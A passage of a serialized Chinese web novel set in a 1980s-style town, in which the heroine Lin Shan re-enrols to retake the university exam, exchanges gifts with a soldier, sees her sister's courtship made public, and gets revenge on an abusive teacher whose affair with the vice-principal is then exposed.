林珊尖叫着躲到一个高个儿男老师后头，满脸惊恐和害怕，眼泪哗哗往外流，“邢老师我错了，我真得错了，您别再打我了。我不读了，以后再也不读书了……您消消气，消消气啊……呜呜呜呜……” “够了！杨老师胡老师把她给我按住！”黄月萍忍无可忍，让两个男老师上手把邢艳红给牢牢困在了一个角落。她自己过来护住林珊，“孩子别害怕，今天她要是敢对你东一手指头，我直接叫公安来！” 林珊惊魂未定，哭着猛摇头：“不、不、不，我不读了，不读书了。” 黄月萍轻拍着她安慰：“没事没事，不害怕了啊，她人已经被按住了。有老师在，没事儿没事儿的。” 其他老师也纷纷过来安慰：“就是，咱这么多人在，她不敢的。” 这么好的苗子，可千万不能因为一颗老鼠屎就不读书了啊。看给孩子吓得，一看就知道邢艳红以前准没少发疯！这妇女也真是的，知道她爱欺负人，但是没想到当这么多人的面，她还敢上手，咋这么狂呢？！ 这小丫头一看就是京大和清大的料儿，这么金贵的大元宝不好好护着，赶紧抢到手里，这邢艳红居然还敢动手打她！真是不知轻重！也该有人管管她了！ “小贱蹄子你装什么装？！”邢艳红人被困住了，嘴没闲着。她怒火中烧，完全顾不得什么体面不体面了已经。 林珊听了她的骂声，瑟缩地往黄月萍身边靠了靠，哽咽得更厉害了。 黄月萍知道邢艳红一时半会儿是冷静不下来了，只好拉着林珊玩外走，“孩子，咱不管她，上学的事儿可不能因为一个不相干的人就放弃啊，那是你自己的前途，你可要想清楚。” 林珊擦擦泪，受教似的点着头：“您说的对，我爸和我哥在那边看着，肯定也想盼着我能上大学。” 黄月萍想起林珊的家庭，忍不住叹气：“你是个苦孩子，但也是个争气的好孩子，相信老师，只要你好好学，以后别说重点大学！就是京大你都能上！” “我、我不敢想那么远。”林珊不是很自信地说。 黄月萍笑着拍拍她的脑袋，开始夸奖她：“老师教了这么多年书，就没见过像你理科这么好的孩子，就是杨清明和林兰，跟你也比不了。他俩不都考到首都了吗，你肯定没问题！” 林珊做出一副被夸奖后的羞涩，“谢谢老师，我会继续努力的。不过、不过我还是不来咱们学校了吧，邢老师她好像特别讨厌我，我害怕她——” “放屁！”黄月萍直接走廊上高声怒斥：“她邢艳红就是一颗老鼠屎！” 骂完，她自觉有些失态，很快又低下声音来对林珊说：“孩子你放心，只要有我黄月萍一天，邢艳红就别想有好日过。你复读也是在我的班，她敢再多说半个字儿，我非让她吃不了兜着走！复读的这事儿就这么定了，你明天直接过来办手续上课，不许再胡思乱想了！” 好家伙，好不容易发现这么一个好苗子，这要是去了别的学校，别说她自己的得气死，就是校长也得活活吐血。 林珊露出一副有被安慰到的模样，感激地看着黄月萍：“谢谢黄老师，我确实应该再勇敢一点儿。我也不知道为什么，在外头的时候我可以跟各种人打交道，可是一进学校看到邢老师，我就打心底发怵，可能是那时候被罚怕了吧……”说着，她恰如其分地落下一滴泪。 黄月萍心疼坏了，“唉，好孩子，邢艳红就交给我来处理，她品行有大问题，这回不让学校开除她，我这老师不当也罢！” 林珊红着眼眶朝黄月萍深深鞠下一躬，“黄老师，您是全天下最好的老师！您可千万不要因为邢老师，影响到自己啊。” 黄月萍摆摆手，“不会的，老师有分寸。” 林珊轻轻点点头，走了几步路后，小声问道：“老师，我能再说一件事儿吗？” 第47章 第47章 贺正岩回信 黄月萍：“说！尽管说！老师替你做主！” 林珊赶紧摇头, “不是的，是我自己的事儿。” 黄月萍：“哦？你什么事儿？” 林珊：“老师您也知道我家的情况，铺子根本没办法离开人, 现在城南的店也开了，事儿就更多了。我恐怕没有时间每天按时到班里来上课, 所以想问问您，我能不能只有考试的时候来学校？” 黄月萍表情逐渐凝重, 大脑飞速运转。 这要是普通孩子，肯定是不行的, 但是林珊考这么好, 理科还都是满分，好像也不是不行。就是她现在只考了这么一次, 黄月萍也没上课教过她, 问过她问题, 不确定是真过硬，还是运气好这次才分儿特别好。万一有运气的成分, 她再不来上课, 那岂不是耽误进步了。 现在大家可都对这孩子抱了极大的希望。这要是浪费了好苗子, 可是天大的罪啊！ “你家的情况我也了解，不过你光考试的时候来，时间也太少了点儿。咱学校的复读费是一分不能少的，那你这岂不是都浪费了？” 林珊摸摸脑袋，看上去特别老实, “其实除了家里的生意走不开人, 还因为我、我害怕教室……害怕坐在里头的那种滋味儿。邢老师之前总是罚我，我每次一进教室就觉得像是进刑场似的，老怕自己一个不小心就遭来一顿劈头盖脸的痛骂。我到现在做梦, 都会梦见邢老师把拽我到后头罚站，骂我不要脸，骂我狐狸精的场景，我、我是真得对教室特别恐惧。” 黄月萍听得心里难受，重重叹了口气揽住林珊的背，“好孩子，你受苦了，邢艳红这个蛀虫必须离开学校！” 林珊擦擦眼角的泪痕，“谢谢黄老师。” 黄月萍拍拍她的背，有些发愁：“我不是不懂变通，就是怕你这成绩要是不稳定……” 林珊明白，“我平时在家自己学，遇到问题了我就来学校问您，您和各科老师可以随时抽查我的进度，您看这样行吗？” 黄月萍想了想，想到快走出到学校门口了，才叹气道：“行吧，不过你在家也千万要用心学习啊，虽然这次成绩好，不代表成绩一直都能这么好，你可绝对不能泄劲儿，知道吗？” “知道！我一定会好好努力！绝对不辜负老师对我的希望！”林珊立正站好，就差学李娜敬礼了。 黄月萍无奈地笑了，她不同意还能怎么样呢，“反正你家铺子就在对面，我吃个包子就能考你两道题！” 林珊笑了，“那您可得多考考我。” 解决了复读的事，又正直中午，林珊要请黄月萍去铺子吃饭，被她摆手拒绝了，“家里老人过寿，我还得赶回去呢，你也快去忙吧，记得多学习啊。” “好的黄老师。”林珊再次谢过黄月萍后，迈着轻快的步伐回了铺子。 这会儿饭点，吃饭的人乌央乌央的，李娜带着新招来的服务员正在努力干活，林红和薛凤琴一个卖包子，一个卖熟肉。 店里虽然人多，但一切都非常井然有序。 林珊就没进去添乱，直接回了家。赵桂花十一点就把午饭从铺子端回家了，这会儿正在打着算盘算账。 一见林珊回来，她立刻放下手头的活儿，噔噔噔跑上来问：“咋样咋样？考得咋样？” “进去了，明天交钱办手续。”林珊笑着说完，把布包卸下，拿起香皂去院子洗手。 赵桂花大喜，一直跟在她屁股后头，“啥也没说就让你进去了？那能进去复读，是不是考大学这事儿就有戏啊？” 林珊一边冲手，一边如实复述：“老师们说了，我上重点大学没问题，一看就是京大清大的苗子。” 赵桂花以为林珊在逗自己，瞪她一眼，“诶，你这死丫头，老娘问你正事儿呢，你给我开啥玩笑啊？” 林珊笑了，“您等黄老师来铺子吃饭的时候，问问她不就行了？” 赵桂花眯眼好好观察了闺女一番，单看模样倒是不像在说谎，但是这怎么可能呢？还京大清大！那是多没影儿的事儿啊。 桂花女士不敢相信，也不想猜了，反正能进去复读就行，也算圆孩子一个心愿。她把热在锅上的饭菜端到屋里饭桌上，叫人：“赶紧过来吃饭了，今天多吃点儿，忙活一上午肯定累得不轻。” 林珊确实饿了，立刻大快朵颐起来。 “哦对了。”赵桂花吃着吃着突然想起个事儿，“你这以后要是去复读的话，店里的事儿也就忙不过来了。城北和城东的新铺子，暂时就先别开了吧。” 林珊把跟黄老师谈好的复读方案说了出来，“……所以可以不用担心我时间不够用，完全不耽误咱开新铺子。” 赵桂花看林珊说得跟真的似的，别说京大、清大她不信，这会儿连这孩子要复读这件事，都开始不信了。她长这么大还没听说过，有哪个老师会答应学生不去学校的。八成是这丫头没考进去，怕丢面子，所以在这儿跟她说胡话呢。 赵桂花偷偷叹了口气，夹了块肉放进林珊碗里，“多吃点儿。”自己的孩子自己疼，考大学算啥，有做生意来钱快吗？这学不考也罢！ 林珊刚才专心吃饭没注意，这会儿一抬眼瞅见赵桂花这满脸复杂的神色，顿时明白老娘在想什么了。她想解释两句，又觉得不如到时候用事实说话，省得这会儿说得越多，桂花女士越觉得她在胡编乱造。 不过她还是被那副“既觉得自己闺女疯了，又十分心疼她，不想伤她自尊，但是又没办法欺骗自己的”表情给逗笑了。 她嘎嘎笑起来，赵桂花就越看越觉得这孩子是真受刺激了。 母女俩吃完饭，林珊去铺子顶替林红，让她回来吃饭歇会儿，下午再顺便跟王军约个会。王军调到市局之后更忙了，晚上也不是每天都有空过来。这俩人算起来，好像也有几天没见面了。 铺子今天生意格外好，林珊一直忙到三点钟，才闲下来对店里的工作人员提出表扬。 明年一月份开始，她会把服务员的基本工资调到二十五块钱一个月。李娜和薛凤琴这种升成领班的员工，工资涨到调到三十五。 这一年物价有所上涨，她们包子铺的餐品，到一月份也会跟着涨价。周围的铺子顶不住早就已经涨了几分钱了，林珊拖到明年再涨，已经是业界良心了。 铺子发展得好，员工的待遇也必须跟着上涨。现在她还没有特别大的本事，不过等将来挣了大钱，她还要连员工住房也给都解决了。 只知道一个人挣钱的老板，不是好老板。是让员工热爱的企业，才是好企业。 正跟员工们联络着感情，邮递员突然通知林珊去邮局取包裹。 她以为是陈德旺寄的东西，毕竟她不时会给老人家寄一些家乡美食，老爷子也会定期回馈她一些当地特色。 不过当林珊骑着自行车来到邮局一看 ，才发现寄包裹的人居然是贺正岩。 之前她趁着天还没暖和的时候，寄过卤肉和包子给他，后来一直没得到回信，林珊还以为是对方觉得她们每回都寄这么多东西，所以不好意思再回信了。 结果等她回去之后读了里头的信，才知道贺正岩这几个月都在外头执行任务，这才刚回到省城。 他在信上说他很抱歉没能及时回信给她，很谢谢她送来的那些熟肉和包子，味道非常好。尤其是熟肉，战友还跟他抢着吃来着。 还说很高兴她们找到了新家，希望她们母女三人可以开心幸福，同时再次祝福她们生意红火。 林珊放下信，看着箱子里这些东西，心里感觉暖暖的。这一箱可不便宜。除了省城的大红苹果和腊肉，还有一堆晒干的山珍，这可不是省城特产，应该是从别的地方弄得。山珍下头还放着四桶高乐高和两袋大白兔奶糖，以及两瓶菠萝罐头。 罐头这年头不稀有，菠萝味儿的却没怎么见过。 林珊看着这满满当当的箱子，心想这下好了，不让她们寄东西，他自己倒寄了这么多。不就是迟回了一阵儿信嘛，贺领导这人实在是讲究 啦。 林珊想她这回要回点儿什么东西好呢。人家搞了这么多，她可不能小气了。想了半天也没什么头绪，她决定先写回信。反正这会儿没到下午饭点，够写一封信了。 林珊先是问候了一下贺正岩任务顺利不顺利，身体有没有受伤，千万要照顾好自己。跟着，她照例把自家的情况汇报了一下。旧铺子生意很好，城南的新店更加红火，之后她还准备再开两家店。员工越来越多，压力越来越大，不过她会好好努力，把铺子越做越好的。 家里现在所有人都很忙，但是日子非常有奔头。她今天也通过了入学考试，要去复读考大学了。希望以后能考上一个好大学，让父亲和哥哥能感到欣慰和骄傲。 说完这些好的，林珊才把林富贵的事写了出来。并且告诉他，她以后会更加小心谨慎，保护好自己和家人的。 写完信，林珊准备先回铺子再慢慢想送什么回礼好，结果刚走到路口，就见赵桂花指着路那头大喊：“你你你你！你俩这是在干啥？？？！！！” 林珊顺势看过去，就见林红和王军俩人手拉着手，一脸惊恐地定在原地。 第48章 第48章 林红被发现 王军是怎么也不会想到, 赵桂花会突然出现在这个路口的。不管是回家还是去店里，她可从来不走这边儿的，所以他才会大着胆子趁送林红回去的这一小段路上, 再抓紧握上这么一点时间。 没想到今天就是这么巧，被逮了个正着！ 林红回过神后, 慌张地收回自己的手，整个人羞窘得恨不得躲电线杆后头。王军不好意思地摸着后脑勺, 整个人也从脑门儿红到了脚指头。 目睹这一切的林珊心想：得，这下不用瞒着了。反正俩人处得挺好, 也是时候对家长挑明了。 赵桂花噔噔噔噔跑过去, 无比震惊地上下打量林红和王军。 两个人被她看得浑身不自在，脸红得都快炸了。林珊瞧这架势, 赶忙跑过去提醒桂花女士：“有什么事儿咱们回家再说, 这正大街的, 被人看见多不好。” 赵桂花震惊是震惊，毕竟又没给震傻, 所以顺势就被林珊拉着往家走了。 林红和王军紧随其后。 王军小声安慰她：“没事儿。”还一把又抓住了她的手。 林红吓得甩了几下都没甩掉, 又不敢太大动作, 只好任由他拉着，整个人热得都快炸了。 当场被亲妈撞见自己背着她偷偷摸摸地搞对象，没有什么比这更羞耻的事儿了。 林红像个做错了事的孩子，王军却暗暗有些开心，总算能过明面上了, 这样他就能正大光明地对林红表达关心, 能时不时约她去看个电影，滑个冰什么的。不然让她老跟自己守在这小公园绕圈，实在太委屈她了。 赵桂花回到家之后, 震惊劲儿已经过去了不少。 看着眼前坐在板凳的亲闺女和王军，她心里突然就乐开了花。 好啊，王军可是个好青年啊！人品好，工作好，家庭出身更好。跟红丫头年龄也相当，又知根知底的，王大姐又是那种特别好相处的人！ 赵桂花是越想越激动，越想越觉得合适，她以前怎么就没把这俩孩子往一块儿想呢！ 啊哈哈哈哈哈。 桂花女士心里欢腾，面上却还是努力作出一副严肃的模样，“说说吧，你们俩怎么回事儿？” 王军率先开口：“婶子，我、我喜欢林红！是我追得她，您别怪她！” 赵桂花心说，我怪我家闺女干啥，这可是天大的好事儿，不过她还是没吱声，等着王军继续。 王军深吸口气，真诚得把自己的新路历程说了一遍，“所以……之前您问我为什么还不找对象，我说心里已经有喜欢的姑娘了，不知道您还记得不？” 赵桂花当然记得，只是她那时候怎么也不会想到，这小子说得就是自家的大闺女。 王军看她没什么反应，更加急着剖析内心：“婶子，我是真得特别喜欢林红！我想跟她结婚，想让她过好日子！我会一辈子对她好，不让她受苦，不让她难过的！” 林红害羞地低下头，被王军说得面红耳赤、心跳加速。 赵桂花虽然也听得有点儿臊，心说这小子平时正儿八经的，谁能想到说起这种话来，居然一点儿磕巴不打啊，不过，她更多的还是满意，满意王军对自家闺女的心意。 但是由于赵桂花没表情，也没吱声，弄得两人一时都有些提心吊胆。 林珊在一旁看着都想笑了，桂花女士一定憋坏了，看这模样心里很定早乐开了花，面上才刻意这么板着脸的。她平时什么时候这样过？她的开心与不开心，通常让人隔着二里地都能知道，今天故作深沉，肯定是怕自己太过高兴，在王军面前失了身份。 果然，桂花女士控制好情绪后，假模假式地叹了口气，“你俩……唉，这也不是不行，就是怎么能瞒着我呢？” 王军一听这是同意了，立刻激动地说：“对不起婶子！都是我，是我没——” “没、没有，不是他，是、是我不愿意说的。”林红不想让母亲误会王军，赶紧结结巴巴地打断他。事实也确实是因为她害怕，所以他才同意跟她慢慢来的。 赵桂花见自家闺女这么护着王军，心里有种说不出来的欣慰。肯护人，说明心里有对方，再想起刚才看见的那一幕，她算是明白这俩孩子的感情到什么地步了。 “你妈知道吗？”赵桂花问王军。 王军猛点头：“知道！林红答应我的第一时间我就跟她说了。她特别替我开心，她知道我喜欢林红很长时间了，还说让我再加把劲儿，赶紧把林红娶回家！” 赵桂花有点想笑，老姐姐比她还心急啊。也是，她操心王军的婚事也不是一天两天了。 “那行吧，既然你们俩决定处对象，就好好处吧。我没什么大的要求，只希望你俩能和和睦睦，遇到事儿有商有量，以后再给我生个大胖孙子就行了。” “谢谢婶子！我、我们保证完成任务！”王军猛得原地起立敬礼，整张脸红成了猴屁股，却列着大嘴笑得无比开心。 林珊被他那傻模样逗笑了。 林红摸着冒火的脸颊，害羞得手脚又不知道往哪儿摆了。妈也真是的，现在就提这个干啥。 赵桂花看着自家这俩猴屁股，开心得不得了，尤其见王军站起来走路都快顺手顺脚了，她瞬间破功大笑。 装不下去了，这么好的女婿，上哪儿找去啊！ 王军和林红被她笑得想跑，赵桂花一把拦住，“王军把吃了饭再回单位。走，咱现在去铺子吃。猪头肉和猪杂面随便吃！” 赵桂花开心雀跃地拉着未来女婿，回到店里吃饭。王军推不过，只能要了碗肉丝面。 赵桂花坐在他对面，一会儿看看自家闺女，一会儿看看未来女婿，心想真是配啊，她怎么就没想到呢，啊哈哈哈哈，有句话怎么说来着，丈母娘看女婿，是越看越满意啊。 希望这俩孩子能早点儿结婚，然后早生贵子，毕竟王军也不算小了。 红丫头没离婚之前，赵桂花被那畜生娘俩闹得，确实担心过是不是自家闺女不能生，还到处去找方子。结果离了之后，她仔细逼问孩子受过的苦时，才知道根本就是那畜生自己不行，稀稀拉拉还想要孩子！真是个杀千刀的缺德玩意儿！ 她的红丫头受了这么多苦，总算找到一个真心对她的，这让当妈的怎么能不欣慰呢。 “妈，你这样还让人怎么吃饭啊？哪有这么直勾勾盯人看的，没瞧我姐跟军哥耳朵红得都快滴血了吗？”林珊看不下去了，决定出面解救这两个老实人。 “我哪儿盯着了？”赵桂花不 承认，矛头瞬间指向林珊：“别跟我整这些有的没的，你姐有着落了，你呢？你咋办？” “我怎么了？我还要考大学呢。”林珊笑着躲开她戳过来的手指，藏到李娜身后。 赵桂花空指了她两下，一肚子话没说出来，提起大学她就头疼，这丫头对上大学就跟得了失心疯似的。 薛凤琴笑着出来打圆场，“珊老板这么厉害，您还愁找不着好女婿嘛？” 铺子里有很多男的除了爱吃饭，更重要的是奔着看珊老板一眼来的。每回见珊老板不在，那失望的模样可不要太明显了。 这么厉害的姑娘不愁嫁，关键是她能看上谁。 林红和王军的事儿过了明路之后，王大娘第二天夜里就来家里吃饭了。主要是大家都太熟悉了，所以很多事儿也就直接挑明来说。结婚的事，王大娘和赵桂花决定完全听两个年轻人的。 王军说他不着急，想再把家里收拾收拾，做一套组合柜，置办一些东西再结。这样两人既能再相处一段时间，又能让林红有个缓冲的过程。 赵桂花和王大娘自然是没意见，林红则再一次感受到了王军对自己的重视。 林珊很为他们感到开心，开始琢磨两人结婚的时候，要送一份什么大礼好。 说到礼，她忽然想起来给贺领导的回礼还没准备呢。思前想后，能送的都送过了，还不如送些他爱吃的。 肉包和卤肉他都喜欢。林珊决定还是送包子和肉，正好她家新出的腐乳肉包和豆腐包，他都还没吃过。卤肉也每样都给他装一些，以猪头肉为主。另外她还准备用他送的腊肉，再做一些腊肉包寄给他尝尝。 林珊后世的时候吃过腊肉包，味道非常醇香，是普通大肉包绝对做不出来的口感和味道。 要不是腊肉少，还不好做，她肯定会给铺子加上腊肉包的。 决定好就开干，次日不出半天，林珊就把准备送给贺正岩的回礼，全部准备好了。打包严实一一装箱，再放进去自己的回信，送到邮局彻底完事儿。 从邮局回来她还要去趟学校，昨天去交钱办手续的的时候，黄月萍说还有一些卷子要给她，当时没印出来，让她今天下午来一趟。 林珊按照约定好的时间来到学校，这会儿正是课间，还看见两个之前的同学。看样子复读了一年没成功，这是又来复读了。 这俩人看见林珊，先是一阵尴尬，然后是窃窃私语，跟着携手跑了。很明显那天在办公室发生的事，已经传遍了学校。这些曾经孤立过她的人，或许也会思考一下自己曾经都干过什么吧。 原身虽然性格泼辣，但在学校却能一直忍受邢艳红这么针对，林珊觉得除了老师带给孩子的那种权威感，更跟邢艳红对原身长期打压式洗脑和精神虐待有关。 她脑子里关于学校的记忆很少，很明显是人受伤后本能的自我保护，想要抹掉这些痛苦的回忆。 林珊非常确信邢艳红这种人，绝对不仅仅只对她一个人这样，受害人一定还有更多。 想到这儿，她就更迫不及待想要弄死那个老巫婆了。 第49章 第49章 叫这么亲呢 林珊到办公室的时候, 黄月萍正在备课，其他老师要么是有课，要么没来, 反正整间屋子就只有她们两个人。 黄月萍把准备好的一沓卷子交给林珊，特地嘱咐她：“这些高考题都是最近这几年的, 等你都做完之后，我再给你印一些早些年的试题, 虽然挺久远的，但是有些题还真没见过。你回去慢慢儿做, 写完送学校就行, 有不会的要及时发问啊。” “好的，谢谢黄老师。”林珊把卷子一一收好, 保证自己一定会认真做题的。 黄月萍笑着说：“没事儿, 只要你敢偷懒, 我立刻上铺子抓人去。” 林珊笑了，看了眼邢艳红的桌子, 正准备询问一下情况。 黄月萍就率先开口了, “她上课去了, 学校还在调查，也不能单凭她发疯就认定她违法乱纪。” 林珊都明白，“谢谢老师，您辛苦了。” 黄月萍叹气：“我辛苦什么啊，我就是后悔没有早点儿插手管她的事儿, 以前真不该睁一只眼闭一只眼, 不知道她私底下祸害了多少学生。” 林珊知道她在自责，却不知道该说些什么。毕竟雪崩的时候，没有一片雪花是无辜的。如果不是她用成绩惊艳了全场, 应该也换不来今天的调查。 再次感谢完黄月萍之后，林珊离开了办公室。 路过厕所的时候，她准备小解一下再走。谁知道刚踏进里头，邢艳红竟突然从身后冒了出来，恶狠狠地瞪着自己，手里还拿着个笤帚，看样子是准备动武。 林珊心想你来得可真是时候啊，这会儿全校都还在上课，厕所一个人都没有，除了臭点儿，再没有比这个更完美的犯罪现场了。 邢艳红刚才正上着课，忽然瞅见林珊从窗户外头走过，她脑袋一下就热了，瞬间课也不上了，直接拿起门口的笤帚就奔了过来。 “想打我啊？”林珊往里退着，想把她往里面引，不然待会儿动起手来，门口那地方还是容易暴露。 邢艳红这两天气得都没睡好觉，这个不要脸的小狐狸精，居然长本事了，敢反抗了，看她不打得她满地找牙！她就是太善良了，以前就应该经常打得的这小贱蹄子鼻青脸肿！以前就是太惯着她，才让这不要脸的贱货长了胆子，都敢跑来学校陷害自己了！ “呸！小贱蹄子！看我今天怎么教训你！你爹妈没教会你做人！老娘来教！”邢艳红骂着骂着，就抡起笤帚朝林珊打去。 林珊一记快闪躲开，邢艳红瞬间直勾勾地朝着茅坑栽去。 林珊一把揪住她那条辫子，把人拉住，翻了个面儿，跟着抬起胳膊就是一巴掌。她力气大，劲儿来得猛，巴掌一下一下呼在邢艳红脸上，一字一句反问她：“打谁？教训谁？” “啊啊啊——！”邢艳红瞬间发疯，她还没弄明白自己一笤帚过去，怎么突然就被揪住了，整个人被打得眼冒金星，晕头转向。 林珊一巴掌一巴掌地往她脸上呼，邢艳红疼得失声大叫，笤帚开始胡乱扫射。 林珊一个跨步移到她背后，胳膊简单一个锁喉，尖叫声瞬间消失，邢艳红被勒得呼吸不畅，满脸通红，青筋都爆出来了，双手拼命抓向林珊的胳膊。 林珊伸出腿，熟练地往邢艳红下肢一绊，她整个人瞬间就被撂翻在地，发出“咣当”一声闷响。 “啊！！！救命！救命！”邢艳红虽然被摔得不轻，但是林珊没再锁喉，让她有了呼吸和嚎叫的自由，只可惜嗓子不知道是被勒伤了还是怎么的，叫了半天竟然也没喊出多大的声音。 林珊一屁股坐她身上，一只手按压住她那四条不老实的胳膊腿儿，一只手继续大耳刮子抽她，“不是爱打人吗？不是动不动就扇孩子们耳光吗？怎么样？这滋味儿好不好受？美不美？” 她每说一句，就赏她一下，赏完了左边赏右边。赏到猪头彻底成了真猪头，才算稍微满意一些。 邢艳红被打得一把鼻涕一把泪，嚎叫不出声儿，她只能哑着嗓子叫救命。 她怎么也不会想到自己拿着笤帚冲进厕所之后，不是收拾人，而是被人按在地上收拾！厕所里的屎尿味儿淹没了她的鼻腔，被锁喉的恐惧笼罩着她的全身，她的脸已经疼得没有知觉了，浑身上下都躺在屎尿旁边，头发还粘上了不明物体。 想她邢艳红横行霸道小二十年，从来都是她骂人、她打人，什么时候受过这种罪啊。今天被自己最讨厌的学生按在厕所里打，她这满腔的愤怒委屈和恐惧，烧得人差点儿崩溃。 邢艳红拼命扭动着全身，想要挣脱束缚，可不管她怎么使劲儿，一直被压得死死的。脸被这么一下一下抽着，抽得不是她的脸，是她作为老师的尊严！作为一个人的尊严！士可杀不可辱！ “啊啊啊！！！贱人！你个贱人！！！”邢艳红拼尽全 力愤怒地大吼，只可惜嗓子可能坏了，所以并没有多大威力，只能用眼睛发射出要把人吃了的毒光。 林珊冷笑道：“拿笤帚冲进来的时候，有没有想过自己是个人？打学生骂学生的时候，有没有想过自己是个老师？就你做的那些事儿，叫声畜生都不为过，还在敢这儿跟我横，我看你就是欠打！” “啪——啪——啪——啪——” 又一顿猛抽之后，邢艳红不敢再叫骂了，林珊也有点儿累了，下课铃恰好这时候响了起来，她顺势松开压着邢艳红的手，起身垂眼看她：“我劝你好自为之，不然下次就不是几巴掌这么简单了。” 邢艳红见林珊要走，立刻使出浑身力气抢在她面前窜出厕所，冲着教室和办公区大喊：“救命啊！救命！有人要杀老师了！” 她这嗓子还是哑，但好歹这会儿能出声儿了，下课铃又刚安静下来，一时还真吸引来不少人的注意力。 下课的老师和学生们纷纷朝这边跑过来，一见邢老师这副模样，有人吓得立刻就跑去找校长了。 林珊敢在学校动手，就不怕这种场面。 校长出去开会了不在，副校长和黄月萍很快就都跑了过来，俩人一见邢艳红这猪头脸，瞬间全部倒吸口气。 副校长惊恐：“怎么回事儿？！这到底是这么回事儿？！” 林珊痛哭流涕，可怜兮兮地抢先道：“校长您快报警吧，今天这事儿非得公安同志来了才能说得明白啊。呜呜呜呜……” 邢艳红见自己没哭，这小贱人倒是哭了起来，她立刻嚎啕大哭，瘫坐在地上哀嚎：“啊啊啊，林珊想要害死我啊！她把我拖到厕所按在地上打！她还用胳膊勒我！勒得我当时什么都看不见了！要是下课再晚会儿，我就被她活活勒死死在厕所了啊！！！啊啊啊……呜呜呜呜……” 副校长震怒：“怎么回事儿你这个学生？！你竟然敢大白天在学校谋害老师！” 林珊梨花带雨，委屈得不行，“我没有，我真得没有啊校长！我今天是来学校拿卷子的，本来想上个厕所就走，结果刚走到厕所，就被人从后头狠狠敲了一下，我当时就以为有坏蛋想在厕所害人，毕竟前阵子严打的时候，就有男的在厕所把人家小女孩给害了，我吓得以为自己也遇见了坏人，所以本能地就开始乱打，结、结果没想到是邢老师。邢老师……你为什么要拿笤帚打我啊？” 围观的师生基本都知道，前两天办公室发生了什么事儿。他们也都知道学校因为这个事情，正在调查邢艳红呢。 前因后果清清楚楚，所以邢艳红要是真拿笤帚去打人的话，原因自然也就不言而喻了。 “你、你你你你胡说八道！”邢艳红气得差点儿厥过去，“谁打你了？！明明是你上来就把我按在地上狂揍，现在居然还敢睁着眼睛说瞎话！林珊啊林珊，我还真是小看你了！” 林珊正要说话，一个腿脚利索的女老师就拿着笤帚从厕所跑了过来，“里头还真有个笤帚。是这个吗？” 林珊擦擦泪，“是。” “老、老师……”一个哆哆嗦嗦的男孩突然举手，指着笤帚说：“我、我们邢老师，刚才确实拿着这个笤帚跑出教室来着。” “张立志！”邢艳红怒斥男孩，简直不敢相信她平时最疼爱的尖子生，居然会这么对她！ 张立志被她一吼，赶紧躲到其他老师身后，他特别讨厌邢老师，全班就没有不讨厌她的，她题讲不明白，人还特别厉害，动不动就骂人。 张立志以前学习没那么好的时候，邢老师嫌弃他家里穷，人闷，经常动不动就当着全班同学的面笑话他。后来他发愤图强，学习越来越好之后，邢老师突然又像变了个人似的，一见他就笑，只是这笑，让张立志打心里觉得特别恐怖。 他刚才确实看见老师拿着笤帚跑出去了，不仅他看见了，他全班都看见了。 副校长一见这场面，顿时也不知道该说什么了，他下巴指向邢艳红，叹道：“那、那你也说说到底怎么回事儿吧。” 邢艳红几乎气晕了，她平白无故挨了一顿打，现在全校人倒觉得是她的错了，她再次嚎啕大哭：“我的老天爷啊，真是没了天理了！我都被打成这个模样了！小命儿都差点没了！你们居然还不相信我说的话！一个个的都要来针对我！呜呜呜呜……我不活了……呜呜呜——” 邢艳红哭得有些猛了，再加上刚才确实挨了不少下，竟然一下子晕倒在地。 众人还没来得及反应，就见副校长嗖一下冲上前，一把抱住邢艳红，着急地大喊：“艳红！艳红！” 大家伙儿前进的脚步瞬间顿住，彼此面面相觑。 艳红？ 叫这么亲呢。 第50章 第50章 你那对象呢 瞧这抱着的姿势, 连条缝儿都没有，一瞅关系就不一般。 再瞅瞅给副校长急得那个样儿，哎呦呦。 真没想到这俩人关系这么好呢。 李向前紧搂着邢艳红, 焦急地晃胳膊，拍脸, 猛掐人中。完全没发觉围观的老师们，眼神已经开始不对劲了。 邢艳红原本晕得挺彻底, 结果被他这么一顿瞎鼓捣，居然还真醒了过来。 她迷迷糊糊地半睁开眼, 一时没搞清楚自己在哪儿, 眼睛里只有焦急的李向前，她以为自己这是晕倒后被他救了, 瞬间委屈地扑进他怀里, 哭成了泪人, “向前！他们都欺负我！呜呜呜呜……” 一个叫“向前”，一个叫“艳红”。 俩人都是四十来岁, 又都有家有室的, 整这么亲密叫什么事儿啊。 谁也不是傻子, 这黏糊劲儿能是普通的上下级关系？ 李向前见邢艳红苏醒，一颗心总算是落地了，不过也正因为落地，他才突然意识到自己的举动不妥，于是着急忙慌地推开还在寻求安慰的邢艳红, 瞬间恢复成了副校长应有的模样。 这此地无银三百两的举动, 更是加大了俩人关系不正常的嫌疑。 有跟副校长关系好的老师，赶紧出面把周围的学生都驱散了，然后过来让老师们该上课的上课, 不要围在这儿了。 黄月萍不吃这套，不但一动不动，还直接发问：“李校长什么时候跟邢老师走这么近的？” 李向前脸色煞白，恼羞成怒：“什、什么叫走这么近？你们任何一个老师昏倒，我都会这么救人！这是我们作为一个人应该做的！更何况我们是人民教师！黄老师，你的思想道德觉悟有待提高啊！” 黄月萍冷笑：“恐怕还是不一样吧，你称呼我是‘黄老师’，叫邢老师可是‘艳红’啊，她刚才也紧搂着你叫‘向前’呢。” 不知道这人怎么有脸提思想道德觉悟的，衣冠禽兽说得就是他！她就说邢艳红为什么敢这么胡来，原来是找了这么个缺德玩意儿当靠山！ 李向前脸色铁青，试图用官威吓唬人，“黄月萍！你只是个年级主任！说话不要这么没大没小的！叫个名字怎么了，我也叫你名字了，难道咱们俩这也叫走得近？！不要用你那肮脏的思想去想别人！人要活得光明！” 黄月萍笑出声来，瞅了瞅瘫坐在地上的邢艳红，看了看愤怒得要吃人的李向前，“行，你说什么就是什么吧。反正校长也快回来了，就让他老人家来评评理吧。” 李向前急火攻心，指着黄月萍发飙：“你真是不知所谓！我看老校长是把你惯天上去了！这学校你说了算啊？！就算是老校长来了，也得讲证据！” 黄月萍点头同意，“这个你放心，那肯定得讲证据。就算咱校长评不了理，对面还有派出所的同志，这个你不用担心。” “你！”李向前两眼喷火。 邢艳红晕晕乎乎地坐在地上怕得要死，她不明白，不就是打个小贱人，怎么就闹到这种地步了。刚才她怎么就那么 糊涂，直接扑向前怀里了呢！向前也真是的，昏就昏呗，他冲过来干啥！ 邢艳红这回是真得怕了，那些老师看他们的眼神都不一样了，肯定已经知道了！都怪林珊这个贱蹄子！都怪她！ 